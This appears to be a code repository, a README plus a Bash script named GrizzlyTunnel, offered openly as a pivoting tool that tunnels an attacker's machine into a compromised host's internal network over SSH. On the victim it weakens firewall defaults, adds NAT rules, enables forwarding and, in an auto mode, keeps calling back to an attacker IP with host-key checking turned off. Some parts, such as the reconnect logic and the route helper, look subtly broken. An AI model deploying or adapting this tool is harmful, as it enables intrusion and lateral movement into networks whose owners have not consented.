├── README.md
└── GrizzlyTunnel.sh
/README.md:
--------------------------------------------------------------------------------
1 | # GrizzlyTunnel
2 |
3 |
4 |

5 |
6 |
7 | This script is designed to set up TUN adapters and routes for creating a VPN-like network connection between a controlled system and a compromised system. It simplifies the process of configuring network routes and adapters on both systems. The controlled system and compromised system can communicate with each other through the created TUN adapters and specified routes.
8 |
9 | ## Introduction
10 |
11 | This script facilitates the setup of a controlled system and a compromised system for network communication. The controlled system, often acting as the server, controls the VPN connection, while the compromised system, acting as the client, connects to the controlled system through a TUN/TAP adapter.
12 |
13 | 
14 |
15 | ## Usage
16 |
17 | To use this script, you must run it with superuser privileges. It provides several options for setting up and configuring the systems. You can also use it to clean up the configurations on both systems.
18 |
19 | 1. Setup source system with routes that should be accessible trough the tunnel.
20 | 2. Setup target system defining the same routes, this will create IP table rules that tells the traffic to move from the tunnel to the nic that is connected to the target network.
21 | 3. Setup the connection using the command listed when setting up the source system.
22 |
23 | **Note: -s and -t should always be placed at the end of the command.**
24 |
25 | ## Demo
26 |
27 | **Setup source:**
28 |
29 | Run **'sudo su'** on both machines to execute as root.
30 |
31 | Attacker machine where you need to connect to a network through another system that is actually connected to that network.
32 |
33 | ```bash
34 | ./GrizzlyTunnel.sh -r routes.txt -s
35 | [+] Changed SSH configuration on the controlled system
36 | [+] Added IP to tun1
37 | [+] tun1 link is now up
38 | [+] Set up routing rule for route 10.60.1.0/24
39 | [+] Set up routing rule for route 10.60.36.0/24
40 | [+] Set up routing rule for route 10.60.32.0/24
41 | [+] Set up routing rule for route 10.60.35.0/24
42 | [+] Set up routing rule for route 10.60.0.0/24
43 | [+] Set up routing rule for route 10.60.34.0/24
44 | [+] Set up routing rule for route 10.60.33.0/24
45 | [!] To complete the setup for VPN connection, on the target host, run:
46 | [!] sudo ./GrizzlyTunnel.sh -r -t -i
47 | ```
48 |
49 | **Setup target:**
50 |
51 | The machine that is connected to the network you want to access from the attacker (source) machine.
52 |
53 | ```bash
54 | ./GrizzlyTunnel.sh -r routes.txt -i eth0 -t
55 | [+] Adding tuntap device tun0 for user root
56 | [+] Adding ip address to tun0
57 | [+] Activating tun0
58 | [+] Ran modprobe tun
59 | [!] IP forwarding is already enabled
60 | [+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0
61 | [!] Added iptable rule for 10.60.1.0/24 on eth0 !
62 | [!] Added iptable rule for 10.60.36.0/24 on eth0 !
63 | [!] Added iptable rule for 10.60.32.0/24 on eth0 !
64 | [!] Added iptable rule for 10.60.35.0/24 on eth0 !
65 | [!] Added iptable rule for 10.60.0.0/24 on eth0 !
66 | [!] Added iptable rule for 10.60.34.0/24 on eth0 !
67 | [!] Added iptable rule for 10.60.33.0/24 on eth0 !
68 | [!] To create tunnel run:
69 | ssh -f -N -w 0:1
70 | ```
71 |
72 | **Profit:**
73 |
74 | After tunnel is created it is possible to use tools from attacker machine to target network using a layer 3 network.
75 |
76 | ```bash
77 | ping 10.60.1.68
78 | PING 10.60.1.68 (10.60.1.68) 56(84) bytes of data.
79 | 64 bytes from 10.60.1.68: icmp_seq=1 ttl=126 time=7.43 ms
80 | 64 bytes from 10.60.1.68: icmp_seq=2 ttl=126 time=8.77 ms
81 | ```
82 |
83 | ## ToDo
84 |
85 | - Adding support for TAP instead of tun.
86 | - Allow multiple connections using multiple adapters.
87 |
88 | ## Contributing
89 |
90 | Contributions are welcome! If you have suggestions, improvements, or feature requests, feel free to submit a pull
91 |
--------------------------------------------------------------------------------
/GrizzlyTunnel.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Define color codes
4 | GREEN='\033[0;32m' # Green
5 | BLUE='\033[0;34m' # Blue
6 | CYAN='\033[0;36m' # Cyan
7 | NC='\033[0m' # No Color
8 | auto_username=""
9 | auto_ip=""
10 |
11 | # Function to display the help menu
12 | show_help() {
13 | echo -e "${CYAN}Usage: sudo $0 [OPTIONS]${NC}"
14 | echo -e "${BLUE}Options:${NC}"
15 | echo " -h, --help Display this help menu"
16 | echo " -s, --source Set up the controlled system"
17 | echo " -t, --target Set up the compromised system"
18 | echo " -r, --routes [route(s)] Add routes (required with -s or -t)"
19 | echo " -i, --interface Specify the outgoing interface (default: eth0)"
20 | echo " -a, --auto [username] [ipaddress] Automatically connect using SSH tunnel (only supported using pub/priv key)"
21 | echo " -m, --interactive Start interactive menu"
22 | echo " --cleanup [source|target] Remove setup for controlled or compromised system"
23 | echo ""
24 | echo -e "${CYAN}Example usage:${NC}"
25 | echo " To set up the controlled system with a single route:"
26 | echo " sudo $0 -r 10.60.1.0/24 -s"
27 | echo " To set up the target system with a single route:"
28 | echo " sudo $0 -r 10.60.1.0/24 -i enps1 -t"
29 | echo " To set up the target system to automatically connect back (polling system):"
30 | echo " sudo $0 -r routes.txt -i enps1 --auto whitehat 123.123.123.123"
31 | echo ""
32 | }
33 |
34 | # Interactive mode function
35 | interactive_menu() {
36 | while true; do
37 |
38 | echo ""
39 | echo -e "${GREEN}========================= Interactive Setup Menu =========================${NC}"
40 | echo -e "${BLUE}Hostname: $(hostname) | OS: $(lsb_release -d | cut -f2) | Kernel: $(uname -r) ${NC}"
41 | echo -e "${BLUE}1.${NC} Set up controlled system"
42 | echo -e "${BLUE}2.${NC} Set up compromised system"
43 | echo -e "${BLUE}3.${NC} Add extra routes"
44 | echo -e "${BLUE}4.${NC} Cleanup"
45 | echo -e "${BLUE}7.${NC} Exit"
46 | echo -n "Select an option> "
47 | read -r choice
48 |
49 | case "$choice" in
50 | 1)
51 | echo -n "Enter route(s) (comma-separated or file): "
52 | read -r routes
53 | change_ssh_config_controlled
54 | setup_controlled_system
55 | ;;
56 | 2)
57 | echo -n "Enter route(s) (comma-separated or file): "
58 | read -r routes
59 | echo -n "Enter outgoing interface: "
60 | read -r interface
61 | setup_compromised_system
62 | ;;
63 | 3)
64 | echo -n "Enter route(s) (comma-separated or file): "
65 | read -r routes
66 | add_routes "$routes" "$interface"
67 | ;;
68 | 4)
69 | echo "Select system to clean up:"
70 | echo " 1. Controlled system"
71 | echo " 2. Compromised system"
72 | echo -n "Enter choice: "
73 | read -r cleanup_choice
74 | if [ "$cleanup_choice" -eq 1 ]; then
75 | cleanup_controlled_system
76 | elif [ "$cleanup_choice" -eq 2 ]; then
77 | cleanup_compromised_system
78 | else
79 | echo "Invalid choice."
80 | fi
81 | ;;
82 | 7)
83 | echo "Exiting interactive mode."
84 | break
85 | ;;
86 | *)
87 | echo "Invalid option. Please try again."
88 | ;;
89 | esac
90 | done
91 | }
92 |
93 | # Function to add routes
94 | add_routes() {
95 | local routes=$1
96 | local device=$2
97 | local route
98 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes
99 | for route in "${route_array[@]}"; do
100 | # Display a message for each route
101 | echo "[+] Adding route: $route via $device dev tun0"
102 | done
103 | }
104 |
105 | # Function to change SSH configuration on the controlled system
106 | change_ssh_config_controlled() {
107 | # Check if the PermitTunnel directive is already present and uncommented
108 | if grep -q "^\s*PermitTunnel yes" /etc/ssh/sshd_config; then
109 | echo "[+] SSH configuration already includes PermitTunnel yes"
110 | else
111 | # Remove any commented-out PermitTunnel directive and add the active one
112 | sed -i '/^#\?PermitTunnel/d' /etc/ssh/sshd_config
113 | echo "PermitTunnel yes" >> /etc/ssh/sshd_config
114 | echo "[+] Added PermitTunnel yes to SSH configuration on the controlled system"
115 | fi
116 |
117 | # Check if the ClientAliveInterval directive is present and remove it if found
118 | if grep -q "^\s*ClientAliveInterval" /etc/ssh/sshd_config; then
119 | sed -i '/ClientAliveInterval/d' /etc/ssh/sshd_config
120 | echo "[+] Removed ClientAliveInterval from SSH configuration"
121 | fi
122 |
123 | # Check if the ClientAliveCountMax directive is present and remove it if found
124 | if grep -q "^\s*ClientAliveCountMax" /etc/ssh/sshd_config; then
125 | sed -i '/ClientAliveCountMax/d' /etc/ssh/sshd_config
126 | echo "[+] Removed ClientAliveCountMax from SSH configuration"
127 | fi
128 |
129 | # Add the ClientAliveInterval and ClientAliveCountMax directives
130 | echo "ClientAliveInterval 60" >> /etc/ssh/sshd_config
131 | echo "ClientAliveCountMax 3" >> /etc/ssh/sshd_config
132 | echo "[+] Added ClientAliveInterval and ClientAliveCountMax to SSH configuration on the controlled system"
133 |
134 | # Restart the SSH service to apply the changes
135 | systemctl restart ssh
136 | echo "[+] SSH service restarted"
137 | }
138 |
139 | wait_for_ssh_connection() {
140 | local icmp_received=0
141 |
142 | # Start monitoring ICMP packets directed towards 10.10.255.2 on the tun1 interface
143 | while [ $icmp_received -eq 0 ]; do
144 | tcpdump_output=$(tcpdump -i tun1 -n icmp and dst host 10.10.255.2 -c 1 2>/dev/null)
145 | if echo "$tcpdump_output" | grep -q "ICMP echo request"; then
146 | icmp_received=1
147 | break
148 | fi
149 | done
150 |
151 | if [ $icmp_received -eq 1 ]; then
152 | echo -e "${GREEN}[✓] ICMP packet received... Happy Hacking! :)${NC}"
153 | else
154 | echo "[!] No ICMP packet received yet."
155 | fi
156 | }
157 |
158 | # Function to set up the controlled system
159 | setup_controlled_system() {
160 | # Implement controlled system setup steps
161 | ip tuntap add dev tun1 mode tun
162 | ip addr add 10.10.255.2/30 dev tun1
163 | echo "[+] Added IP to tun1"
164 | ip link set dev tun1 up
165 | echo "[+] tun1 link is now up"
166 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes
167 | for route in "${route_array[@]}"; do
168 | ip route add "$route" via 10.10.255.1 dev tun1
169 | echo "[+] Set up routing rule for route $route"
170 | done
171 |
172 | # Display additional messages
173 | echo "[+] Adding ICMP allow on tun1 for monitoring purposes"
174 | iptables -A INPUT -i tun1 -p icmp --icmp-type echo-request -j ACCEPT
175 | echo "[!] To complete the setup for VPN connection, on the target host, run:"
176 | echo "[!] sudo $0 -r -i -t"
177 | wait_for_ssh_connection
178 | }
179 |
180 | # Function to set up the compromised system
181 | setup_compromised_system() {
182 | # Check and configure UFW if enabled
183 | if command -v ufw >/dev/null; then
184 | ufw_status=$(sudo ufw status verbose | grep -i "Status:" | awk '{print $2}')
185 | if [[ "$ufw_status" == "active" ]]; then
186 | routed_status=$(sudo ufw status verbose | grep -i "Default:" | grep "routed" | awk '{print $6}')
187 | if [[ "$routed_status" == "deny" ]]; then
188 | echo "[+] UFW routed traffic is denied. Changing to allow."
189 | sudo ufw default allow routed >/dev/null 2>&1
190 | ufw_routed_changed=true
191 | else
192 | echo "[+] UFW routed traffic is already allowed. No changes made."
193 | ufw_routed_changed=false
194 | fi
195 | else
196 | echo "[+] UFW is not active. No changes required."
197 | ufw_routed_changed=false
198 | fi
199 | else
200 | echo "[!] UFW is not installed or available. Skipping UFW configuration."
201 | ufw_routed_changed=false
202 | fi
203 |
204 | # Write the status to /tmp
205 | echo "ufw_routed_changed=$ufw_routed_changed" > /tmp/ufw_routed_status.txt
206 |
207 | # Implement compromised system setup steps
208 | ip tuntap add dev tun0 mode tun user root
209 |
210 | echo "[+] Adding tuntap device tun0 for user root"
211 | ip addr add 10.10.255.1/30 dev tun0
212 | echo "[+] Adding ip address to tun0"
213 | ip link set dev tun0 up
214 | echo "[+] Activating tun0"
215 | modprobe tun
216 | echo "[+] Ran modprobe tun"
217 | # Check if IP forwarding is already enabled
218 | current_ip_forward_setting=$(sysctl -n net.ipv4.ip_forward)
219 | if [ "$current_ip_forward_setting" -eq 0 ]; then
220 | sysctl -w net.ipv4.ip_forward=1
221 | echo "[+] Enabled IP forwarding"
222 | else
223 | echo "[!] IP forwarding is already enabled"
224 | fi
225 | ip route add 10.10.255.2 via 10.10.255.1 dev tun0
226 | echo "[+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0"
227 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes
228 | for route in "${route_array[@]}"; do
229 | iptables -t nat -A POSTROUTING -d $route -o $interface -j MASQUERADE
230 | echo "[!] Added iptable rule for $route on $interface !"
231 | done
232 |
233 | # Create the SSH tunnel
234 | echo "[!] To create tunnel run:"
235 | echo -e "${GREEN}ssh -f -N -w 0:1 ${NC}"
236 | }
237 |
238 | setup_auto_compromised_system() {
239 | # Function to check if the SSH tunnel is active
240 | check_connection() {
241 | ping -c 1 -W 5 10.10.255.2 > /dev/null 2>&1
242 | }
243 |
244 | # Function to terminate old SSH processes
245 | terminate_old_connections() {
246 | # Use pgrep to find SSH processes associated with the script
247 | for pid in $(pgrep -f "ssh -o StrictHostKeyChecking=no -f -N -w 0:1 $auto_username@$auto_ip"); do
248 | # Check if the process still exists
249 | if kill -0 "$pid" 2>/dev/null; then
250 | echo "[!] Terminating old SSH process: $pid"
251 | kill "$pid"
252 | else
253 | # Process doesn't exist anymore, remove it from the list
254 | echo "[!] Process $pid already terminated or doesn't exist."
255 | fi
256 | done
257 | }
258 |
259 | # Implement compromised system setup steps
260 | ip tuntap add dev tun0 mode tun user root
261 |
262 | echo "[+] Adding tuntap device tun0 for user root"
263 | ip addr add 10.10.255.1/30 dev tun0
264 | echo "[+] Adding ip address to tun0"
265 | ip link set dev tun0 up
266 | echo "[+] Activating tun0"
267 | modprobe tun
268 | echo "[+] Ran modprobe tun"
269 | # Check if IP forwarding is already enabled
270 | current_ip_forward_setting=$(sysctl -n net.ipv4.ip_forward)
271 | if [ "$current_ip_forward_setting" -eq 0 ]; then
272 | sysctl -w net.ipv4.ip_forward=1
273 | echo "[+] Enabled IP forwarding"
274 | else
275 | echo "[!] IP forwarding is already enabled"
276 | fi
277 | ip route add 10.10.255.2 via 10.10.255.1 dev tun0
278 | echo "[+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0"
279 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes
280 | for route in "${route_array[@]}"; do
281 | iptables -t nat -A POSTROUTING -d $route -o $interface -j MASQUERADE
282 | echo "[!] Added iptable rule for $route on $interface !"
283 | done
284 |
285 | # Create the SSH tunnel initially and store its PID
286 | ssh -o StrictHostKeyChecking=no -f -N -w 0:1 "$auto_username@$auto_ip"
287 | # Store the PID of the initial SSH process
288 | initial_ssh_pid=$!
289 | old_connection_pids+=("$initial_ssh_pid")
290 | # List to store old connection process IDs
291 | declare -a old_connection_pids
292 |
293 | # Monitor and automatically reconnect if the connection is lost
294 | while true; do
295 | # Check if the connection is active
296 | if ! check_connection; then
297 | echo "[!] Connection lost. Reconnecting..."
298 | # Terminate old SSH processes
299 | terminate_old_connections
300 | # Close any existing SSH control socket
301 | ssh -O exit -S "$CONTROL_SOCKET" > /dev/null 2>&1
302 | # Create the SSH tunnel again and store its process ID
303 | ssh -o StrictHostKeyChecking=no -f -N -w 0:1 "$auto_username@$auto_ip" &
304 | # Store the new SSH process ID
305 | new_pid=$!
306 | old_connection_pids+=("$new_pid")
307 | echo "[!] SSH tunnel recreated."
308 | else
309 | echo "[✓] Connection is active."
310 | fi
311 | # Wait for a few seconds before checking again
312 | sleep 10
313 | done
314 | }
315 |
316 | cleanup_controlled_system() {
317 | if [ -n "$routes" ]; then
318 | # Remove added route
319 | echo "[-] Removed routes."
320 | ip route del "$routes" via 10.10.255.2 dev tun1
321 | fi
322 | # Remove TUN/TAP adapter
323 | ip link del tun1
324 |
325 | # Check and remove PermitTunnel setting
326 | if grep -q "^\s*PermitTunnel yes" /etc/ssh/sshd_config; then
327 | sed -i '/PermitTunnel yes/d' /etc/ssh/sshd_config
328 | echo "[-] Removed PermitTunnel yes from SSH configuration"
329 | fi
330 |
331 | # Check and remove ClientAliveInterval setting
332 | if grep -q "^\s*ClientAliveInterval" /etc/ssh/sshd_config; then
333 | sed -i '/ClientAliveInterval/d' /etc/ssh/sshd_config
334 | echo "[-] Removed ClientAliveInterval from SSH configuration"
335 | fi
336 |
337 | # Check and remove ClientAliveCountMax setting
338 | if grep -q "^\s*ClientAliveCountMax" /etc/ssh/sshd_config; then
339 | sed -i '/ClientAliveCountMax/d' /etc/ssh/sshd_config
340 | echo "[-] Removed ClientAliveCountMax from SSH configuration"
341 | fi
342 |
343 | # Restart the SSH service to apply the changes
344 | systemctl restart ssh
345 | echo "[!] Cleaned up the controlled system"
346 | }
347 |
348 | # Function to remove the setup on the compromised system
349 | cleanup_compromised_system() {
350 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes
351 | for route in "${route_array[@]}"; do
352 | iptables-save | grep -v "$route" | iptables-restore
353 | echo "[-] Removed NAT rule(s) for route(s) $route"
354 | done
355 | # Remove added route
356 | ip route del 10.10.255.2 via 10.10.255.1 dev tun0
357 | # Remove TUN/TAP adapter
358 | ip link del tun0
359 |
360 | # Restore UFW routed default if changed
361 | if [ -f /tmp/ufw_routed_status.txt ]; then
362 | source /tmp/ufw_routed_status.txt
363 | if [ "$ufw_routed_changed" = true ]; then
364 | echo "[+] Restoring UFW routed traffic default to deny."
365 | sudo ufw default deny routed >/dev/null 2>&1
366 | fi
367 | else
368 | echo "[!] No UFW routed status file found. Skipping restoration."
369 | fi
370 |
371 | echo "[!] Cleaned up the compromised system"
372 | }
373 |
374 | # Main script
375 | if [ "$#" -eq 0 ]; then
376 | show_help
377 | exit 1
378 | fi
379 |
380 | if [[ $EUID -ne 0 ]]; then
381 | echo "This script must be run with sudo to create TUN/TAP adapters."
382 | exit 1
383 | fi
384 |
385 | # Process arguments and enforce combinations
386 | while [[ $# -gt 0 ]]; do
387 | case "$1" in
388 | -h | --help)
389 | show_help
390 | exit 0
391 | ;;
392 | -m | --interactive)
393 | interactive_menu
394 | exit 0
395 | ;;
396 | -r | --routes)
397 | if [ -n "$2" ]; then
398 | if [ -f "$2" ]; then
399 | routes=$(cat "$2")
400 | else
401 | routes="$2"
402 | fi
403 | shift
404 | else
405 | echo "[-] No routes specified. Use a valid route like '10.60.1.0/24' or a file containing routes."
406 | exit 1
407 | fi
408 | ;;
409 | -i | --interface)
410 | if [ -n "$2" ]; then
411 | interface="$2"
412 | shift
413 | else
414 | echo "[-] No interface specified. Using default interface: eth0."
415 | fi
416 | ;;
417 | -s | --source)
418 | source_option=true
419 | if [ -z "$routes" ]; then
420 | echo "[-] The -s or --source option requires the -r or --routes option."
421 | show_help
422 | exit 1
423 | fi
424 | change_ssh_config_controlled
425 | setup_controlled_system
426 | ;;
427 | -t | --target)
428 | if [ -z "$routes" ] || [ -z "$interface" ]; then
429 | echo "[-] The -t or --target option requires the -r or --routes option and the -i or --interface option."
430 | show_help
431 | exit 1
432 | fi
433 | if [ -n "$auto_username" ] && [ -n "$auto_ip" ]; then
434 | setup_auto_compromised_system
435 | else
436 | setup_compromised_system
437 | fi
438 | ;;
439 | -a | --auto)
440 | if [ -z "$routes" ] || [ -z "$interface" ]; then
441 | echo "[-] Routes, interface, username, ip address are required arguments for --auto."
442 | show_help
443 | exit 1
444 | else
445 | auto_username="$2"
446 | auto_ip="$3"
447 | setup_auto_compromised_system
448 | fi
449 | ;;
450 | --cleanup)
451 | if [ -n "$2" ]; then
452 | case "$2" in
453 | source)
454 | cleanup_controlled_system
455 | ;;
456 | target)
457 | cleanup_compromised_system
458 | ;;
459 | *)
460 | echo "Invalid argument for --cleanup. Use 'source' or 'target'."
461 | show_help
462 | exit 1
463 | ;;
464 | esac
465 | shift
466 | else
467 | echo "[-] No argument specified for --cleanup. Use 'source' or 'target'."
468 | exit 1
469 | fi
470 | ;;
471 | *)
472 | echo "Invalid option: $1"
473 | show_help
474 | exit 1
475 | ;;
476 | esac
477 | shift
478 | done
479 |
--------------------------------------------------------------------------------